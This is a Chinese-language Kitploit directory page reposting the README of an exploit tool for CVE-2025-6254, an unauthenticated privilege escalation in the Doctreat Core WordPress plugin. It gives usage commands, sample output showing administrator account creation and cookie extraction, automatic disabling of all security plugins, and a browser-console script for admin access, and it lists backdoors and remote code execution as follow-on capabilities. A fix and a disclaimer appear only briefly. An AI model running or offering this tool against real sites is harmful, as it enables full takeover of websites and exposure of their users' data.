Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升 | Kitploit
工具/GitHubGitHub/yucaerin/cve-2025-6254
权限提升Payload生成漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用Web安全CTF渗透测试学习与教育红队
GitHub
22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升

查看仓库

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升(通过角色注入)

🔥 漏洞摘要

WordPress 插件 Doctreat Core 版本 <= 1.6.8 存在一个未认证权限提升漏洞。该严重缺陷允许未认证攻击者直接通过插件的注册 AJAX 端点创建新的管理员账户。

该漏洞源于 hooks/hooks.php 文件中的 doctreat_process_registration() 函数,该函数直接从用户提交的 POST 数据中接受 user_type 参数,并将其作为 role 参数传递给 wp_update_user(),且未进行适当的授权或白名单验证。插件仅应用了 esc_sql()(该函数不会验证角色)——它从不检查该角色对于公开注册是否安全。

突破性发现: Doctreat 使用的 nonce(scripts_vars.ajax_nonce)暴露在活动 Doctreat 主题的任何公开页面上。user_type 参数(通常控制用户注册为 "doctors"、"hospitals" 或 "regular_users")可以通过 POST 覆盖为 user_type=administrator —— 而该值会直接作为 WordPress 的 role 参数传递。

🔍 受影响的插件

  • 插件名称: Doctreat Core
  • 受影响版本: <= 1.6.8
  • 漏洞类型: 未认证权限提升(通过角色注入)
  • CVE ID: CVE-2025-6254
  • CVSS 评分: 9.8(严重)
  • CWE: CWE-269 — 权限管理不当
  • 影响: 完全接管网站 —— 创建管理员账户

🧨 攻击者可以做什么

🧪 漏洞利用功能

  • 🔓 无需认证
  • 📝 通过注册 AJAX 端点运行
  • 🎯 针对 AJAX 端点 /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 角色注入 —— 在正常注册字段旁同时提交 user_type=administrator
  • 🌐 自动提取 nonce —— 从 Doctreat 主题的公开页面抓取 ajax_nonce
  • 🔐 绕过 nonce 验证 —— 使用主题脚本暴露的合法 nonce
  • 🔗 自动检测 http/https —— 无需指定协议
  • 🔒 支持不安全的 SSL —— 适用于自签名/无效证书
  • 🎛️ 自动禁用所有插件 —— 3 种方法:plugins.php 批量操作、REST API、admin-ajax.php
  • 🍪 提取 Cookie —— 输出 WordPress 认证 Cookie 供浏览器/curl 使用
  • 🧠 JavaScript 控制台脚本 —— 粘贴到浏览器 DevTools 即可立即获得管理员访问权限

🧠 漏洞代码

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

注意: 在具有默认验证设置($verify_user 为空或为 'remove')的目标上,用户会被自动验证并立即获得管理员访问权限。启用了电子邮件验证或管理员批准的目标则需要额外的验证步骤。

🚀 使用方法

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

使用现有凭据登录(获取 Cookie)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

完整输出示例

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

JavaScript 控制台脚本

运行漏洞利用程序后,复制生成的 JavaScript 并粘贴到浏览器的 DevTools 控制台(F12):

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

环境要求

  • Python 3.6+
  • requests 库(pip install requests)
  • 目标必须满足:
    • 激活 Doctreat 主题(用于提取 nonce)
    • 激活 Doctreat Core 插件 <= 1.6.8
    • 启用用户注册

🛠 修复建议

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • 为注册实现严格的角色白名单
  • 为特权角色添加 current_user_can('create_users') 能力检查
  • 在将 user_type 传递给 wp_update_user() 之前对其进行验证
  • 考虑完全移除公开注册中的角色分配

🧠 研究人员

  • 致谢:Friderika Baranyai (Foxyyy)

📚 参考资料

  • Wordfence 安全通告

🔒 免责声明

此信息仅供教育和授权渗透测试目的使用。未经授权利用计算机系统是非法且不道德的行为。在测试任何你不拥有的目标之前,务必获得明确的书面许可。

下载工具
能力影响
🔑 无需登录即可创建管理员账户完全接管网站
🎛️ 自动禁用所有安全插件防御规避
💉 编辑插件/主题 PHP 文件远程代码执行
🕳️ 安装隐藏后门持久化访问
👥 查看所有用户数据侵犯隐私